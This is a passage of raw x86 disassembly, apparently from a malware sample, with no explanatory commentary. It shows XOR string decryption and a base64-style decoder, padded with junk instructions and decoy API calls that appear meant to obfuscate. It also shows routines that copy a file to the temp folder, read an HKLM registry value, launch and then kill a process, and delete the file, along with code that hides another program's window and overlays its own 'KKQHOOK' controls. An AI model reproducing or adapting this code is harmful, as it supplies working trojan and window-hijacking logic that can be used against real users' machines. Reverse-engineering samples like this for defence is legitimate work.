eax, dword_446534 lea eax, ds:432FC0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_40871A ; --------------------------------------------------------------------------- loc_408703: ; CODE XREF: .text:0040871Cj mov eax, dword_446534 add eax, edi lea eax, ds:432FC0h[eax] movsx edx, byte ptr [eax] xor edx, 6Dh mov [eax], dl inc edi loc_40871A: ; CODE XREF: .text:00408701j cmp edi, esi jl short loc_408703 mov dword ptr [ebp-8], 0EFh mov eax, dword_446534 add eax, esi mov byte ptr ds:dword_432FC0[eax], 0 mov edi, dword_446534 add dword_446534, 2 mov eax, dword_446534 add eax, 2 add eax, esi mov dword_446534, eax cmp eax, 0DF1h jle short loc_40875E and dword_446534, 0 loc_40875E: ; CODE XREF: .text:00408755j mov dword ptr [ebp-0Ch], 2B9h lea eax, dword_432FC0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40876F proc near ; CODE XREF: sub_408896+40p var_9 = byte ptr -9 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov ax, word_446538 mov [ebp+var_2], ax push 4 push 1000h push [ebp+arg_0] push 0 call sub_40CB0C ; VirtualAlloc jmp short loc_4087A4 ; --------------------------------------------------------------------------- lea edi, [ebp+var_9] lea esi, aRgjf ; "~ rGjf" mov ecx, 7 rep movsb loc_4087A4: ; CODE XREF: sub_40876F+23j pop edi pop esi leave retn sub_40876F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087A8 proc near ; CODE XREF: sub_408896+C5p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_2], 4CBDh inc [ebp+var_2] push 8000h push 0 push [ebp+arg_0] call sub_40CB18 ; VirtualFree jmp short locret_4087CC ; --------------------------------------------------------------------------- call sub_40CA58 ; IsDebuggerPresent locret_4087CC: ; CODE XREF: sub_4087A8+1Dj leave retn sub_4087A8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 39Dh push esi push dword ptr [ebp+8] mov eax, dword_44654C lea eax, ds:43A4B0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_408817 ; --------------------------------------------------------------------------- loc_4087FD: ; CODE XREF: .text:00408819j mov eax, dword_44654C add eax, edi lea eax, ds:43A4B0h[eax] movsx edx, byte ptr [eax] xor edx, 0AAh mov [eax], dl inc edi loc_408817: ; CODE XREF: .text:004087FBj cmp edi, esi jl short loc_4087FD mov dword ptr [ebp-8], 0AEh mov eax, dword_44654C add eax, esi mov byte ptr ds:dword_43A4B0[eax], 0 xor edi, edi mov edi, dword_44654C mov eax, edi inc eax add eax, esi mov dword_44654C, eax add dword_44654C, 2 cmp dword_44654C, 0DF5h jle short loc_40885D and dword_44654C, 0 loc_40885D: ; CODE XREF: .text:00408854j mov dword ptr [ebp-0Ch], 0DDh lea eax, dword_43A4B0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40886E proc near ; CODE XREF: sub_408896+E1p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx call sub_40C998 ; GetProcessHeap push offset dword_4464EC push offset dword_4464AC push [ebp+arg_4] push [ebp+arg_0] call sub_40BE84 mov [ebp+var_1], 81h add [ebp+var_1], 1 leave retn sub_40886E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408896 proc near ; CODE XREF: sub_409A96+45Ep var_62 = byte ptr -62h var_5D = byte ptr -5Dh var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C998 ; GetProcessHeap mov eax, dword_446550 mov [ebp+var_5C], eax call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_5D] lea esi, byte_446554 xor ecx, ecx inc ecx rep movsb mov eax, [ebp+arg_4] add eax, 40h jge short loc_4088CD add eax, 3Fh loc_4088CD: ; CODE XREF: sub_408896+32j sar eax, 6 mov edi, eax shl edi, 6 push edi call sub_40876F pop ecx mov [ebp+var_18], eax call sub_40C968 ; RtlGetLastWin32Error mov eax, [ebp+arg_4] add eax, 40h jge short loc_4088EF add eax, 3Fh loc_4088EF: ; CODE XREF: sub_408896+54j sar eax, 6 mov edi, eax shl edi, 6 push edi push [ebp+var_18] call sub_40CAC4 ; RtlZeroMemory call sub_40C944 ; GetCurrentThreadId push [ebp+arg_4] push ebx push [ebp+var_18] call sub_40CE18 add esp, 0Ch call sub_40C9C8 ; GetTickCount lea eax, [ebp+var_14] push eax call sub_40BFC2 mov ebx, [ebp+var_18] and [ebp+var_4], 0 jmp short loc_408945 ; --------------------------------------------------------------------------- loc_40892B: ; CODE XREF: sub_408896+C0j call sub_40C944 ; GetCurrentThreadId push ebx lea eax, [ebp+var_14] push eax call sub_40BFE9 call sub_40C944 ; GetCurrentThreadId add ebx, 40h inc [ebp+var_4] loc_408945: ; CODE XREF: sub_408896+93j mov eax, [ebp+arg_4] add eax, 40h jge short loc_408950 add eax, 3Fh loc_408950: ; CODE XREF: sub_408896+B5j sar eax, 6 cmp [ebp+var_4], eax jl short loc_40892B push [ebp+var_18] call sub_4087A8 lea edi, [ebp+var_62] lea esi, aE4Y ; "e4'Y" mov ecx, 5 rep movsb lea eax, [ebp+var_58] push eax push [ebp+arg_8] call sub_40886E mov eax, dword_446548 add eax, 3 push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax call sub_40CE0C add esp, 18h or eax, eax jz short loc_40899E xor eax, eax inc eax jmp short loc_4089A0 ; --------------------------------------------------------------------------- loc_40899E: ; CODE XREF: sub_408896+101j xor eax, eax loc_4089A0: ; CODE XREF: sub_408896+106j pop edi pop esi pop ebx leave retn sub_408896 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_446564 lea eax, ds:4393D0h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_4089E5 ; --------------------------------------------------------------------------- loc_4089CB: ; CODE XREF: .text:004089E7j mov eax, dword_446564 add eax, edi lea eax, ds:4393D0h[eax] movsx edx, byte ptr [eax] xor edx, 0CDh mov [eax], dl inc edi loc_4089E5: ; CODE XREF: .text:004089C9j cmp edi, esi jl short loc_4089CB mov eax, dword_446564 add eax, esi mov byte ptr ds:dword_4393D0[eax], 0 mov edi, dword_446564 inc dword_446564 mov eax, dword_446564 lea eax, [eax+esi+2] mov dword_446564, eax add dword_446564, 2 cmp dword_446564, 0DBBh jle short loc_408A2C and dword_446564, 0 loc_408A2C: ; CODE XREF: .text:00408A23j mov dword ptr [ebp-4], 29Eh lea eax, dword_4393D0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A3D proc near ; CODE XREF: sub_409A96+3B9p ; sub_409A96+3D6p var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_12 = word ptr -12h var_10 = word ptr -10h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi call sub_40C9C8 ; GetTickCount and [ebp+var_8], 0 and [ebp+var_C], 0 xor esi, esi mov ebx, [ebp+arg_4] mov eax, [ebp+arg_8] add eax, ebx mov [ebp+var_4], eax mov edi, [ebp+arg_0] jmp loc_408B5F ; --------------------------------------------------------------------------- loc_408A68: ; CODE XREF: sub_408A3D+12Aj mov [ebp+var_E], 89h movzx eax, [ebp+var_E] imul eax, 6B4Ah mov [ebp+var_E], al movsx edx, byte ptr [edi] shl edx, 2 mov esi, dword_446568[edx] mov [ebp+var_10], 1A8h add [ebp+var_10], 201Fh cmp esi, 0FFFFFFFFh jz loc_408B5E mov [ebp+var_12], 8D6h movzx eax, [ebp+var_12] imul eax, 3715h mov [ebp+var_12], ax mov eax, [ebp+var_8] or eax, eax jl loc_408B5B cmp eax, 3 jg loc_408B5B jmp off_446968[eax*4] ; --------------------------------------------------------------------------- call sub_40C938 ; GetCurrentProcessId loc_408ACF: ; CODE XREF: sub_408A3D+86j ; DATA XREF: .data:off_446968o inc [ebp+var_8] mov [ebp+var_1A], 3A72h movzx eax, [ebp+var_1A] imul eax, 3484h mov [ebp+var_1A], ax jmp short loc_408B5B ; --------------------------------------------------------------------------- loc_408AE8: ; CODE XREF: sub_408A3D+86j ; DATA XREF: .data:0044696Co mov edx, [ebp+var_C] shl edx, 2 mov ecx, esi and ecx, 30h sar ecx, 4 or edx, ecx mov [ebp+var_D], dl mov [ebp+var_1B], 7Ch movzx eax, [ebp+var_1B] imul eax, 0FABh mov [ebp+var_1B], al mov eax, ebx inc ebx mov dl, [ebp+var_D] mov [eax], dl inc [ebp+var_8] jmp short loc_408B5B ; --------------------------------------------------------------------------- loc_408B19: ; CODE XREF: sub_408A3D+86j ; DATA XREF: .data:00446970o mov edx, [ebp+var_C] and edx, 0Fh shl edx, 4 mov ecx, esi and ecx, 3Ch sar ecx, 2 or edx, ecx mov [ebp+var_D], dl mov eax, ebx inc ebx mov dl, [ebp+var_D] mov [eax], dl inc [ebp+var_8] jmp short loc_408B5B ; --------------------------------------------------------------------------- loc_408B3C: ; CODE XREF: sub_408A3D+86j ; DATA XREF: .data:00446974o mov edx, [ebp+var_C] and edx, 3 shl edx, 6 or edx, esi mov [ebp+var_D], dl call sub_40CA58 ; IsDebuggerPresent mov eax, ebx inc ebx mov dl, [ebp+var_D] mov [eax], dl and [ebp+var_8], 0 loc_408B5B: ; CODE XREF: sub_408A3D+77j ; sub_408A3D+80j ... mov [ebp+var_C], esi loc_408B5E: ; CODE XREF: sub_408A3D+58j inc edi loc_408B5F: ; CODE XREF: sub_408A3D+26j cmp byte ptr [edi], 0 jz short loc_408B6D cmp ebx, [ebp+var_4] jb loc_408A68 loc_408B6D: ; CODE XREF: sub_408A3D+125j cmp byte ptr [edi], 0 jnz short loc_408B83 call sub_40C9D4 ; GetVersion mov eax, ebx sub eax, [ebp+arg_4] jmp short loc_408B86 ; --------------------------------------------------------------------------- call sub_40C944 ; GetCurrentThreadId loc_408B83: ; CODE XREF: sub_408A3D+133j or eax, 0FFFFFFFFh loc_408B86: ; CODE XREF: sub_408A3D+13Fj pop edi pop esi pop ebx leave retn sub_408A3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B8B proc near ; CODE XREF: sub_408C17+7Ep ; sub_408C17+ECp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_446980 lea eax, ds:413E10h[eax] push eax call sub_40CE18 add esp, 0Ch xor edi, edi jmp short loc_408BCB ; --------------------------------------------------------------------------- loc_408BB1: ; CODE XREF: sub_408B8B+42j mov eax, dword_446980 add eax, edi lea eax, ds:413E10h[eax] movsx edx, byte ptr [eax] xor edx, 94h mov [eax], dl inc edi loc_408BCB: ; CODE XREF: sub_408B8B+24j cmp edi, esi jl short loc_408BB1 mov eax, dword_446980 add eax, esi mov byte ptr ds:dword_413E10[eax], 0 mov edi, dword_446980 inc dword_446980 mov eax, dword_446980 lea eax, [eax+esi+3] mov dword_446980, eax cmp eax, 0DDEh jle short loc_408C06 and dword_446980, 0 loc_408C06: ; CODE XREF: sub_408B8B+72j mov [ebp+var_4], 121h lea eax, dword_413E10[edi] pop edi pop esi leave retn sub_408B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C17 proc near ; CODE XREF: sub_409A96:loc_40AA0Bp var_39D = dword ptr -39Dh var_399 = byte ptr -399h var_396 = word ptr -396h var_394 = word ptr -394h var_392 = word ptr -392h var_390 = dword ptr -390h var_389 = byte ptr -389h var_383 = byte ptr -383h var_37C = byte ptr -37Ch var_377 = byte ptr -377h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = byte ptr -368h var_264 = dword ptr -264h var_260 = dword ptr -260h var_254 = word ptr -254h var_252 = byte ptr -252h var_251 = byte ptr -251h var_250 = word ptr -250h var_24E = word ptr -24Eh var_24C = byte ptr -24Ch var_148 = dword ptr -148h var_11C = dword ptr -11Ch var_118 = word ptr -118h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 3A0h push ebx push esi push edi mov ebx, 5B68h mov eax, ebx add eax, ebx mov ebx, eax mov eax, dword_446984 mov [ebp+var_374], eax mov [ebp+var_250], 4A20h inc [ebp+var_250] lea eax, [ebp+var_104] push eax push 104h call sub_40C9BC ; GetTempPathA lea ecx, [ebp+var_104] or eax, 0FFFFFFFFh loc_408C63: ; CODE XREF: sub_408C17+51j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_408C63 mov edi, eax mov esi, 18h sub esi, dword_44697C push esi lea esi, [ebp+var_104] add esi, edi push esi call sub_401777 add esp, 8 call sub_40C968 ; RtlGetLastWin32Error push 4 push offset dword_446EB4 call sub_408B8B add esp, 8 push eax lea edi, [ebp+var_104] push edi call sub_40CE78 add esp, 8 mov [ebp+var_251], 0DFh movzx eax, [ebp+var_251] imul eax, 64FAh mov [ebp+var_251], al push 0 lea eax, [ebp+var_104] push eax push offset dword_41E9B0 call sub_40CA70 ; CopyFileA call sub_40C938 ; GetCurrentProcessId lea edi, [ebp+var_377] lea esi, byte_446988 mov ecx, 3 rep movsb mov [ebp+var_36C], 104h push 21h push offset word_446E92 call sub_408B8B add esp, 8 mov [ebp+var_390], eax push 4 push offset byte_446E8D call sub_408B8B add esp, 8 lea edi, [ebp+var_37C] push edi lea edi, [ebp+var_36C] push edi lea edi, [ebp+var_368] push edi push eax mov edi, [ebp+var_390] push [ebp+var_390] push 80000002h call sub_4014CB add esp, 18h mov ebx, eax call sub_40C9D4 ; GetVersion cmp ebx, 0 jz loc_408F51 call sub_40C998 ; GetProcessHeap lea edi, [ebp+var_383] lea esi, aKm1akw ; "KM1Akw" mov ecx, 7 rep movsb push 104h lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_368] push eax call sub_40C920 ; ExpandEnvironmentStringsA mov [ebp+var_252], 9Fh add [ebp+var_252], 1 push 0Eh push offset word_446E7E call sub_408B8B push eax lea edi, [ebp+var_24C] push edi call sub_40CE78 call sub_40CA58 ; IsDebuggerPresent lea eax, [ebp+var_104] push eax lea eax, [ebp+var_24C] push eax call sub_40CE78 lea edi, [ebp+var_389] lea esi, word_446992 mov ecx, 3 rep movsw call sub_4045BD mov [ebp+var_370], eax mov [ebp+var_24E], 3633h movzx eax, [ebp+var_24E] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_24E], ax push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CE24 push 44h push 0 lea eax, [ebp+var_148] push eax call sub_40CE24 add esp, 30h mov [ebp+var_254], 596Bh sub [ebp+var_254], 707Fh mov [ebp+var_148], 44h mov [ebp+var_11C], 1 mov [ebp+var_118], 1 cmp [ebp+var_370], 0 jz short loc_408E74 lea eax, [ebp+var_148] push eax call sub_40466A pop ecx jmp short loc_408E7D ; --------------------------------------------------------------------------- loc_408E74: ; CODE XREF: sub_408C17+24Cj mov [ebp+var_118], 0 loc_408E7D: ; CODE XREF: sub_408C17+25Bj lea eax, [ebp+var_264] push eax lea eax, [ebp+var_148] push eax push 0 push 0 push 20h push 0 push 0 push 0 lea eax, [ebp+var_24C] push eax push 0 call sub_40CB78 ; CreateProcessA or eax, eax jz loc_408F45 mov [ebp+var_392], 1FD7h sub [ebp+var_392], 176Dh push [ebp+var_260] call sub_40C9B0 ; CloseHandle mov [ebp+var_394], 5838h movzx eax, [ebp+var_394] imul eax, 0E60h mov [ebp+var_394], ax push 0EA60h call sub_40CDDC pop ecx mov [ebp+var_396], 1716h movzx eax, [ebp+var_396] imul eax, 5D50h mov [ebp+var_396], ax push 0 push [ebp+var_264] call sub_40CB00 ; TerminateProcess lea edi, [ebp+var_399] lea esi, byte_446998 mov ecx, 3 rep movsb push [ebp+var_264] call sub_40C9B0 ; CloseHandle mov eax, dword_44699B mov [ebp+var_39D], eax loc_408F45: ; CODE XREF: sub_408C17+290j lea eax, [ebp+var_104] push eax call sub_40C908 ; DeleteFileA loc_408F51: ; CODE XREF: sub_408C17+142j pop edi pop esi pop ebx leave retn sub_408C17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F56 proc near ; CODE XREF: sub_408FEB+30p ; sub_408FEB+6Bp ... var_1006 = dword ptr -1006h var_1002 = byte ptr -1002h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_40C8BC push edi call sub_40C968 ; RtlGetLastWin32Error push 5 push [ebp+arg_0] call sub_40CBC0 ; GetWindow mov edi, eax mov [ebp+var_2], 53FCh add [ebp+var_2], 390Ch loc_408F81: ; CODE XREF: sub_408F56+90j or edi, edi jnz short loc_408F89 xor eax, eax jmp short loc_408FE8 ; --------------------------------------------------------------------------- loc_408F89: ; CODE XREF: sub_408F56+2Dj mov [ebp+var_3], 5 sub [ebp+var_3], 6Eh mov eax, dword_44699F mov [ebp+var_1006], eax push 0FFFh lea eax, [ebp+var_1002] push eax push edi call sub_40CBCC ; GetClassNameA mov eax, 0Ch sub eax, dword_43C098 push eax push [ebp+arg_4] lea eax, [ebp+var_1002] push eax call sub_401883 add esp, 0Ch cmp eax, 0FFFFh jz short loc_408FD7 mov eax, edi jmp short loc_408FE8 ; --------------------------------------------------------------------------- loc_408FD7: ; CODE XREF: sub_408F56+7Bj push 2 push edi call sub_40CBC0 ; GetWindow mov edi, eax call sub_40C9D4 ; GetVersion jmp short loc_408F81 ; --------------------------------------------------------------------------- loc_408FE8: ; CODE XREF: sub_408F56+31j ; sub_408F56+7Fj pop edi leave retn sub_408F56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408FEB proc near ; CODE XREF: sub_40B525+1F4p var_19F = byte ptr -19Fh var_197 = byte ptr -197h var_194 = dword ptr -194h var_18E = word ptr -18Eh var_18B = byte ptr -18Bh var_18A = word ptr -18Ah var_188 = dword ptr -188h var_182 = byte ptr -182h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = dword ptr -178h var_171 = byte ptr -171h var_16E = word ptr -16Eh var_16C = byte ptr -16Ch var_166 = dword ptr -166h var_162 = dword ptr -162h var_15E = byte ptr -15Eh var_159 = byte ptr -159h var_151 = byte ptr -151h var_14A = byte ptr -14Ah var_144 = dword ptr -144h var_140 = word ptr -140h var_13E = word ptr -13Eh var_13C = word ptr -13Ch var_139 = byte ptr -139h var_138 = dword ptr -138h var_134 = dword ptr -134h var_12E = word ptr -12Eh var_12B = byte ptr -12Bh var_12A = word ptr -12Ah var_128 = dword ptr -128h var_123 = byte ptr -123h var_122 = word ptr -122h var_120 = dword ptr -120h var_11A = word ptr -11Ah var_118 = dword ptr -118h var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = dword ptr -10Ah var_106 = dword ptr -106h var_102 = byte ptr -102h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A0h push ebx push esi push edi lea edi, [ebp+var_14A] lea esi, aE8i ; "e|8I " mov ecx, 3 rep movsw push 9 push offset dword_446E74 call sub_40129C push eax push [ebp+arg_0] call sub_408F56 mov [ebp+var_118], eax mov [ebp+var_11A], 5C17h movzx eax, [ebp+var_11A] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_11A], ax push 8 push offset byte_446E6B call sub_40129C push eax push [ebp+var_118] call sub_408F56 mov ds:dword_41D828, eax mov [ebp+var_120], 5547h mov eax, [ebp+var_120] mov edx, eax add edx, eax mov [ebp+var_120], edx push 0 push ds:dword_41D828 call sub_40CCB0 ; ShowWindow call sub_40C9D4 ; GetVersion lea eax, [ebp+var_112] push eax push [ebp+var_118] call sub_40CBA8 ; GetWindowRect mov ebx, 46AEh mov eax, ebx add eax, ebx mov ebx, eax push 0 push ds:dword_41E9AC push 0 push [ebp+var_118] mov eax, [ebp+var_106] sub eax, [ebp+var_10E] push eax mov eax, [ebp+var_10A] sub eax, [ebp+var_112] push eax push 0 push 0 push 50800000h push offset byte_447569 push offset aKkqhook ; "KKQHOOK" push 200h call sub_40CCBC ; CreateWindowExA mov ds:dword_41FD44, eax lea edi, [ebp+var_151] lea esi, aBvcT4 ; "bc$t4" mov ecx, 7 rep movsb push 6 push offset byte_446E5B call sub_40129C mov [ebp+var_178], eax push 19h push offset byte_446E41 call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C098 add edi, 31h push edi mov edi, [ebp+var_10A] sub edi, [ebp+var_112] sub edi, 64h push edi mov edi, dword_43C094 add edi, 12h push edi push edi push 50800000h push eax mov edi, [ebp+var_178] push edi push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_41D824, eax call sub_40C938 ; GetCurrentProcessId push 6 push offset byte_446E5B call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C098 add edi, 121h push edi mov edi, [ebp+var_10A] sub edi, [ebp+var_112] sub edi, 64h push edi mov edi, dword_43C098 add edi, 46h push edi mov edi, dword_43C094 add edi, 12h push edi push 50800009h push offset byte_447569 push eax push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_430D90, eax mov [ebp+var_123], 0A4h add [ebp+var_123], 1 push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 2BCh push 0 push 0 mov eax, dword_43C098 mov edx, 13h sub edx, eax push edx mov eax, dword_43C098 add eax, 9 push eax call sub_40CD1C ; CreateFontA mov [ebp+var_144], eax lea edi, [ebp+var_159] lea esi, aAFqkY ; "a*FQk~y" mov ecx, 2 rep movsd push 1 push [ebp+var_144] push 30h push ds:dword_41D824 call sub_40CC8C ; SendMessageA call sub_40C944 ; GetCurrentThreadId push 8 push offset dword_446E38 call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_430D90 mov edi, dword_43C098 add edi, 121h push edi mov edi, dword_43C094 add edi, 30h push edi mov edi, dword_43C094 add edi, 38h push edi mov edi, dword_43C094 add edi, 12h push edi push 50800003h push offset byte_447569 push eax push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_432FB4, eax call sub_40C998 ; GetProcessHeap push 8 push offset dword_446E38 call sub_40129C add esp, 48h push 0 push ds:dword_41E9AC push 0 push ds:dword_430D90 mov edi, dword_43C098 add edi, 121h push edi mov edi, dword_43C098 add edi, 31h push edi mov edi, dword_43C098 add edi, 2Fh push edi mov edi, dword_43C098 add edi, 47h push edi push 50800003h push offset byte_447569 push eax push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_41E9A4, eax lea edi, [ebp+var_15E] lea esi, aTbF ; "t F" mov ecx, 5 rep movsb mov [ebp+var_2], 1 jmp loc_409425 ; --------------------------------------------------------------------------- loc_409336: ; CODE XREF: sub_408FEB+441j mov [ebp+var_188], 59A5h sub [ebp+var_188], 5CEh lea edi, [ebp+var_197] lea esi, asc_4469BD ; "::" mov ecx, 3 rep movsb mov [ebp+var_18A], 556Ch inc [ebp+var_18A] push 4 push offset aTse ; "" call sub_40129C movzx edi, [ebp+var_2] push edi push eax lea edi, [ebp+var_182] push edi call sub_40CE54 mov [ebp+var_18B], 0D4h sub [ebp+var_18B], 0DDh lea eax, [ebp+var_182] push eax push 0 push 143h push ds:dword_432FB4 call sub_40CC8C ; SendMessageA mov [ebp+var_18E], 2B6Dh inc [ebp+var_18E] push 6 push offset aEztse ; "" call sub_40129C movzx edi, [ebp+var_2] add edi, 4 push edi push eax lea edi, [ebp+var_182] push edi call sub_40CE54 add esp, 28h mov [ebp+var_194], 3D16h add [ebp+var_194], 26FBh lea eax, [ebp+var_182] push eax push 0 push 143h push ds:dword_41E9A4 call sub_40CC8C ; SendMessageA lea edi, [ebp+var_19F] lea esi, aC7iO ; "c7i!~~O" movsd movsd inc [ebp+var_2] loc_409425: ; CODE XREF: sub_408FEB+346j movzx eax, [ebp+var_2] cmp eax, 0Dh jl loc_409336 push 6 push offset byte_446E5B call sub_40129C mov [ebp+var_17C], eax push 10h push offset aUCC ; "ŗӗ" call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C098 add edi, 5 push edi mov edi, dword_43C094 add edi, 65h push edi mov edi, dword_43C098 add edi, 63h push edi mov edi, dword_43C098 add edi, 0B8h push edi push 50000000h push eax mov edi, [ebp+var_17C] push edi push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_413E04, eax mov [ebp+var_128], 216Ah add [ebp+var_128], 2B5Fh push 6 push offset byte_446E5B call sub_40129C mov [ebp+var_180], eax push 0Fh push offset byte_446E0B call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C094 add edi, 0Eh push edi mov edi, dword_43C098 add edi, 4Ch push edi mov edi, dword_43C094 add edi, 8Fh push edi mov edi, dword_43C098 add edi, 0B8h push edi push 50000000h push eax mov edi, [ebp+var_180] push edi push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_432FAC, eax mov [ebp+var_12A], 259h movzx eax, [ebp+var_12A] imul eax, 29ADh mov [ebp+var_12A], ax push 6 push offset byte_446E5B call sub_40129C mov [ebp-184h], eax push 0Ch push offset word_446DFE call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C094 add edi, 0Eh push edi mov edi, dword_43C098 add edi, 4Bh push edi mov edi, dword_43C098 add edi, 0AEh push edi mov edi, dword_43C098 add edi, 0B8h push edi push 50000000h push eax mov edi, [ebp-184h] push edi push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_4351E4, eax mov [ebp+var_12B], 35h movzx eax, [ebp+var_12B] imul eax, 23CBh mov [ebp+var_12B], al push 6 push offset byte_446E5B call sub_40129C mov [ebp+var_188], eax push 4Ah push offset byte_446DB3 call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C098 add edi, 5 push edi mov edi, dword_43C098 add edi, 1D9h push edi mov edi, dword_43C094 add edi, 0E4h push edi mov edi, dword_43C098 add edi, 13h push edi push 50000000h push eax mov edi, [ebp+var_188] push edi push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_432FB0, eax call sub_40C944 ; GetCurrentThreadId push 6 push offset byte_446E5B call sub_40129C mov [ebp-18Ch], eax push 26h push offset aCCCCCCS ; "җҗėӗΗٙ" call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C098 add edi, 5 push edi mov edi, dword_43C094 add edi, 0FBh push edi mov edi, dword_43C098 add edi, 0F4h push edi mov edi, dword_43C098 add edi, 13h push edi push 50000000h push eax mov edi, [ebp-18Ch] push edi push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_43A498, eax mov eax, dword_4469C8 mov [ebp+var_162], eax push offset byte_434080 lea eax, [ebp+var_102] push eax call sub_40CE54 add esp, 58h mov [ebp+var_12E], 20C4h add [ebp+var_12E], 5ADCh mov [ebp+var_3], 4 jmp short loc_40970F ; --------------------------------------------------------------------------- loc_4096FF: ; CODE XREF: sub_408FEB+729j movzx eax, [ebp+var_3] mov [ebp+eax+var_102], 78h add [ebp+var_3], 1 loc_40970F: ; CODE XREF: sub_408FEB+712j mov al, [ebp+var_3] cmp al, 0Ch jb short loc_4096FF call sub_40C9D4 ; GetVersion push 4 push offset byte_446D87 call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_430D90 mov edi, dword_43C098 mov esi, edi add esi, 0Dh push esi mov esi, edi add esi, 77h push esi add edi, 9 push edi push edi push 50800800h lea edi, [ebp+var_102] push edi push eax push 200h call sub_40CCBC ; CreateWindowExA mov ds:dword_410890, eax mov eax, dword_4469CC mov [ebp+var_166], eax push 4 push offset byte_446D87 call sub_40129C push 0 push ds:dword_41E9AC push 0 push ds:dword_430D90 mov edi, dword_43C098 add edi, 0Dh push edi mov edi, dword_43C098 add edi, 3Bh push edi mov edi, dword_43C098 add edi, 54h push edi mov edi, dword_43C098 add edi, 9 push edi push 50800000h push offset byte_447569 push eax push 200h call sub_40CCBC ; CreateWindowExA mov ds:dword_41E99C, eax call sub_40C998 ; GetProcessHeap push 0 push 78h push 0CCh push ds:dword_41E99C call sub_40CC8C ; SendMessageA call sub_40CA58 ; IsDebuggerPresent push 6 push offset dword_446D80 call sub_40129C mov [ebp-190h], eax push 16h push offset byte_446D69 call sub_40129C add esp, 20h push 0 push ds:dword_41E9AC push 0 push ds:dword_41FD44 mov edi, dword_43C098 add edi, 0Ch push edi mov edi, dword_43C098 add edi, 90h push edi mov edi, dword_43C098 add edi, 135h push edi mov edi, dword_43C094 add edi, 1Ch push edi push 50800000h push eax mov edi, [ebp-190h] push edi push 0 call sub_40CCBC ; CreateWindowExA mov ds:dword_4351E8, eax lea edi, [ebp+var_16C] lea esi, aBNB ; "*N;" mov ecx, 3 rep movsw push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 190h push 0 push 0 mov eax, dword_43C098 mov edx, 